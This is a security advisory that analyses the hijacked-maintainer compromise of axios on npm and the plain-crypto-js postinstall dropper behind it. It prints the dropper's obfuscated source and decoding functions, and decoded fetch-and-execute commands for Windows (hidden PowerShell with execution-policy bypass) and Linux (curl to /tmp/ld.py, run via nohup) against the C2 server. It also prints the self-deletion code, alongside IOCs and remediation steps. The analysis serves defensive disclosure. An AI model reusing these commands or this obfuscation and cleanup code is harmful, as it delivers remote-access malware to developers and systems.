Executive Summary
Two malicious versions of axios (1.14.1, 0.30.4) were published to npm after the primary maintainer’s account was hijacked. The attacker injected a single new dependency, plain-crypto-js@4.2.1, that was never imported anywhere in the axios source. This dependency exists solely to execute a postinstall hook that deploys a cross-platform remote access trojan. The dropper detects the host OS, pulls a platform-specific second-stage payload from a live C2 server, executes it, and then destroys all evidence of itself.
The malicious dependency was staged 18 hours in advance. Separate payloads were pre-built for three operating systems. Both release branches were hit within 39 minutes.
At a Glance
- What is unique? The two-layer string obfuscation, domain masquerading (
packages[.]npm[.]org), and complete self-deletion after payload delivery. - Who is at risk? Any developer, CI pipeline, or production environment that ran
npm installand resolvedaxios@1.14.1oraxios@0.30.4during the exposure window. - Was this preventable? Partially. Axios publishes legitimate releases via GitHub Actions with OIDC Trusted Publisher binding. Neither malicious version had corresponding GitHub commits, tags, or releases.
How the Account Was Compromised
The attacker hijacked the npm account of jasonsaayman, the primary axios maintainer. The account’s registered email was changed to ifstap@proton.me, and a long-lived classic npm access token was used to publish directly to the registry, bypassing the project’s normal GitHub Actions-based release workflow.
A second staging account, nrwise (nrwise@proton.me), was used to publish the malicious plain-crypto-js dependency in advance.
Neither compromised axios version has a corresponding GitHub tag, commit, or release.
Timeline
| Date (UTC) | Event | Detail |
|---|---|---|
| Mar 30, 06:00 | Staging dependency published | plain-crypto-js@4.2.0 published without malicious code, establishing package presence on npm |
| Mar 30, 23:59 | Malicious dependency published | plain-crypto-js@4.2.1 published with RAT dropper postinstall hook |
| Mar 31, 00:21 | axios@1.14.1 published | First poisoned axios version published with plain-crypto-js dependency added |
| Mar 31, 01:00 | axios@0.30.4 published | Second poisoned version hits the legacy 0.x branch, 39 minutes after the first |
| Mar 31, 03:00 | GitHub issue filed | Community reports compromise via axios/axios#10604 |
| Mar 31 | npm takedown | Affected versions removed from npm registry, tokens revoked |
Technical Breakdown
Execution Vector
The only code change across both compromised versions is the addition of plain-crypto-js@^4.2.1 to dependencies in package.json. This package is never imported anywhere in the axios source. Its entire purpose is the postinstall lifecycle hook:
Malware Source Snippet
A snippet of setup.js (4,209 bytes) from plain-crypto-js@4.2.1:
const _trans_1=function(x,r){try{const E=r.split("").map(Number);return x.split("")
.map(((x,r)=>{const S=x.charCodeAt(0),a=E[7*r*r%10];return String.fromCharCode(
S^a^333)})).join("")}catch{}},_trans_2=function(x,r){try{let E=x.split("").reverse()
.join("").replaceAll("_","="),S=Buffer.from(E,"base64").toString("utf8");return
_trans_1(S,r)}catch{}},stq=["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx",
"__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","",
"__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bx
tWcoF/axsSsoF3axvWMqFXIx...","_sKxiWcrFjax...","__wrFLIx...","",
"_saxtW8uFvaxzW8vFrax...","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx",
"_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax",
"_4LxoS8uEPax"],ord="OrDeR_7077",_entry=function(x){try{
/* ... deobfuscates template vars, detects OS, downloads + executes
platform-specific payload, then cleans up ... */
}catch{}};_entry("6202033");
String Obfuscation
The dropper uses a custom two-layer encoding scheme to hide all 17 strings in the stq[] array:
Layer 1 (Reversed Base64): The encoded string is reversed, underscores are replaced with = padding, then base64-decoded.
Layer 2 (XOR Cipher): Each character of the result is XORed with a digit from the key OrDeR_7077 (selected via the formula 7*i*i % 10) plus the constant 333.
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((x, r) => {
const S = x.charCodeAt(0), a = E[7 * r * r % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
};
const _trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
};
The _entry() function also uses a separate obfuscation layer for its own template variables. It applies standard base64 with non-standard padding characters (^, _, -, ), * replacing =) to avoid pattern matching.
Decoded String Table
We decoded the full stq[] array offline by extracting only the string manipulation functions. No malicious code was executed. The complete decoded output:
| Index | Purpose | Decoded Value |
|---|---|---|
| stq[0] | Module import | child_process |
| stq[1] | Module import | os |
| stq[2] | Module import | fs |
| stq[3] | C2 base URL | http://sfrclak[.]com:8000/ |
| stq[4] | (unused) | (empty string) |
| stq[5] | Platform check | win32 |
| stq[6] | Platform check | darwin |
| stq[7] | Windows VBScript | See Windows Payload below |
| stq[8] | Windows exec cmd | cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f |
| stq[9] | macOS payload | Garbled (see macOS section below) |
| stq[10] | macOS exec cmd | (empty string) |
| stq[11] | Linux payload | See Linux Payload below |
| stq[12] | Cleanup target | package.json |
| stq[13] | Clean decoy | package.md |
| stq[14] | File extension | .exe |
| stq[15] | File extension | .ps1 |
| stq[16] | File extension | .vbs |
The _entry() function also decodes five template variables inline using base64 with obfuscated padding: LOCAL_PATH, PS_PATH, SCR_LINK, PS_BINARY, and the discovery command where powershell.
C2 Infrastructure and Domain Masquerading
The dropper contacts sfrclak[.]com:8000 to retrieve platform-specific payloads, with the campaign ID 6202033 appended to the path. The download URLs use the domain packages[.]npm[.]org, which is not affiliated with the npm registry. The domain npm.org belongs to the National Association of Pastoral Musicians (since 1997).
Platform-specific payload endpoints:
- Windows:
packages[.]npm[.]org/product1 - Linux:
packages[.]npm[.]org/product2
The dropper spoofs a User-Agent string mimicking Internet Explorer 8 on Windows XP: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0).
Windows Payload (stq[7], stq[8])
The most complete code path. The decoded VBScript template:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
At runtime, the template variables are replaced: SCR_LINK becomes the full C2 URL, PS_PATH becomes %TEMP%\6202033.ps1, and PS_BINARY becomes the copied PowerShell binary.
The execution chain:
- PowerShell discovery: runs
where powershellviaexecSyncto locate the real PowerShell binary - Binary copy: copies PowerShell to
%PROGRAMDATA%\wt.ps1to masquerade as a legitimate application - VBScript dropper: writes the decoded VBScript to
%TEMP%\6202033.vbs - Silent execution: the VBScript launches
cmd.exewith window style0(hidden), which:- POSTs to
packages[.]npm[.]org/product1via curl to retrieve the PowerShell payload - Pipes the response to
%TEMP%\6202033.ps1 - Executes with
-w hidden -ep bypass(hidden window, execution policy bypass) - Deletes the
.ps1after execution
- POSTs to
- VBScript cleanup: executed via
cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f, which runs the VBScript then deletes it
macOS Payload (stq[9], stq[10]): Broken
The macOS code path is non-functional in this sample. We can confirm this through two independent indicators in the decoded stq[] array:
1. The script template is garbled. stq[9] decodes to:
nohup osascrnwt "uj -ra'LOCFK_PASO"
This is clearly a corrupted version of what should be an osascript invocation. The command osascrnwt does not exist on macOS and would fail immediately. Notably, neither of the template variables SCR_LINK or LOCAL_PATH appear in the decoded string, meaning the runtime .replaceAll() substitutions in _entry() would be no-ops. The C2 URL and local file path would never be injected.
2. The execution command is empty. stq[10] is an empty string. In the _entry() code, the darwin branch ends with:
n = _trans_2(stq[10], ord); // n = ""
n = n.replaceAll(E, r); // still ""
After the for(;;){...break} loop exits, F(n) calls execSync(""), which does nothing. Even if stq[9] had written a valid script to disk, there is no command to execute it.
The result: on macOS, the dropper writes a garbled file to $TMPDIR/6202033, attempts to execute an empty string, silently fails inside the outer try/catch, and proceeds to the cleanup phase. No payload is delivered, no C2 contact is made, and no RAT is installed. The macOS code path was either still under development at time of deployment, or the stq[] array was deliberately truncated for this distribution.
External analysis of the second-stage binary (retrieved from the C2 before it went offline) describes a C++ Mach-O RAT that would have been dropped to /Library/Caches/com.apple.act.mond, beaconing every 60 seconds with support for remote shell execution, binary injection, and directory enumeration. The delivery mechanism to get it onto disk was simply not ready.
Linux Payload (stq[11])
The simplest variant. A single decoded shell command:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &
At runtime, SCR_LINK is replaced with the full C2 URL (http://sfrclak[.]com:8000/6202033). The command POSTs to the C2 to download a Python script, saves it to /tmp/ld.py, and executes it as a detached background process via nohup.
Self-Deletion Mechanism
After payload delivery, the dropper erases all evidence of its existence from node_modules/plain-crypto-js/:
// Delete the malicious dropper script
fs.unlink(__filename, (x => {}));
// Remove the package.json containing the postinstall hook
fs.unlink("package.json", (x => {})); // stq[12]
// Restore clean backup as package.json
fs.rename("package.md", "package.json", (x => {})); // stq[13] -> stq[12]
Post-cleanup, the node_modules/plain-crypto-js/ directory appears as a normal crypto library with no trace of the malware. This means inspecting node_modules after the fact will not reveal the compromise. You must check for RAT artifacts on disk.
Cascading Compromise
Additional packages were identified carrying the same trojan infrastructure:
@shadanai/openclaw(2026.3.31-1, 2026.3.31-2): Vendoredplain-crypto-jstrojan with identicalsetup.jsand C2 infrastructure@qqbrowser/openclaw-qbot@0.0.130: Shipped tamperedaxios@1.14.1in its ownnode_modules/withplain-crypto-jsinjected as a dependency
What Should You Do
- Triage and Contain. Audit
package-lock.json,yarn.lock, andnode_modulesacross all environments. Ifaxios@1.14.1,axios@0.30.4, orplain-crypto-jsis present, treat the environment as compromised. Downgrade toaxios@1.14.0oraxios@0.30.3. - Hunt for RAT Artifacts. Check for these files:
- macOS:
/Library/Caches/com.apple.act.mond - Windows:
%PROGRAMDATA%\wt.exe,%TEMP%\6202033.vbs,%TEMP%\6202033.ps1,MicrosoftUpdateregistry Run key - Linux:
/tmp/ld.py - All platforms:
$TMPDIR/6202033
- macOS:
- Rotate Credentials. Any environment where the affected versions were installed must have credentials rotated, including:
- npm tokens and registry credentials
- SSH keys accessible to the developer or CI environment
- Cloud credentials (AWS/Azure/GCP) present in the environment
- CI/CD secrets and service account tokens
- Any API keys or secrets in
.envfiles or environment variables
- Block the C2. Firewall
sfrclak[.]comand142.11.206[.]73immediately. Hunt for outbound connections to port 8000 at this IP. Also blockpackages[.]npm[.]org(note: this is NOT the legitimate npm registry). - Verify Lockfiles. Confirm your lockfiles do not reference the malicious version ranges. If
plain-crypto-jsappears anywhere in your dependency tree, investigate immediately. - Strengthen Publishing Controls. Enforce MFA on npm accounts, use scoped short-lived publish tokens, and adopt OIDC Trusted Publisher workflows that tie npm publishing to verified CI/CD pipelines.
Affected Versions
| Package | Version(s) |
|---|---|
| axios | 1.14.1, 0.30.4 |
| plain-crypto-js | 4.2.0, 4.2.1 |
| @shadanai/openclaw | 2026.3.31-1, 2026.3.31-2 |
| @qqbrowser/openclaw-qbot | 0.0.130 |
Downgrade to axios@1.14.0 or axios@0.30.3.
IOCs
- Affected Packages:
axiosv1.14.1, v0.30.4;plain-crypto-jsv4.2.0, v4.2.1 - C2 Domain:
sfrclak[.]com - C2 IP:
142.11.206[.]73 - C2 Port:
8000 - C2 Campaign Path:
/6202033 - Fake npm Domain:
packages[.]npm[.]org - Compromised npm Account:
jasonsaayman(email changed toifstap@proton.me) - Staging npm Account:
nrwise(nrwise@proton.me) - Spoofed User-Agent:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
File System Artifacts:
- macOS:
/Library/Caches/com.apple.act.mond - Windows:
%PROGRAMDATA%\wt.exe,%TEMP%\6202033.vbs,%TEMP%\6202033.ps1 - Linux:
/tmp/ld.py
SHA-256 Hashes
Compromised Packages:
axios-1.14.1.tgz-5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cdaxios-0.30.4.tgz-59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0fplain-crypto-js-4.2.1.tgz-58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668
Second-Stage Payloads:
- macOS Mach-O binary -
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a - Windows PowerShell script -
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 - Linux Python script -
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
npm Package SHASUMs:
axios@1.14.1-2553649f2322049666871cea80a5d0d6adc700caaxios@0.30.4-d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71plain-crypto-js@4.2.1-07d889e2dadce6f3910dcbc253317d28ca61c766
Advisory References
- GHSA: GHSA-fw8c-xr5c-95f9
- MAL: MAL-2026-2306
MITRE ATT&CK
| ID | Technique |
|---|---|
| T1195.001 | Supply Chain Compromise: Compromise Software Supply Chain |
| T1059.001 | Command and Scripting Interpreter: PowerShell |
| T1059.006 | Command and Scripting Interpreter: Python |
| T1059.007 | Command and Scripting Interpreter: JavaScript |
| T1027 | Obfuscated Files or Information |
| T1036.005 | Masquerading: Match Legitimate Name or Location |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| T1071.001 | Application Layer Protocol: Web Protocols |
| T1082 | System Information Discovery |
| T1057 | Process Discovery |
| T1140 | Deobfuscate/Decode Files or Information |
| T1070.004 | Indicator Removal: File Deletion |
Citations and Acknowledgements
- Socket.dev: https://socket.dev/blog/axios-npm-package-compromised
- Aikido Security: https://www.aikido.dev/blog/axios-npm-compromised-maintainer-hijacked-rat
- Wiz: https://www.wiz.io/blog/axios-npm-compromised-in-supply-chain-attack
- StepSecurity: https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- GitHub Issue: https://github.com/axios/axios/issues/10604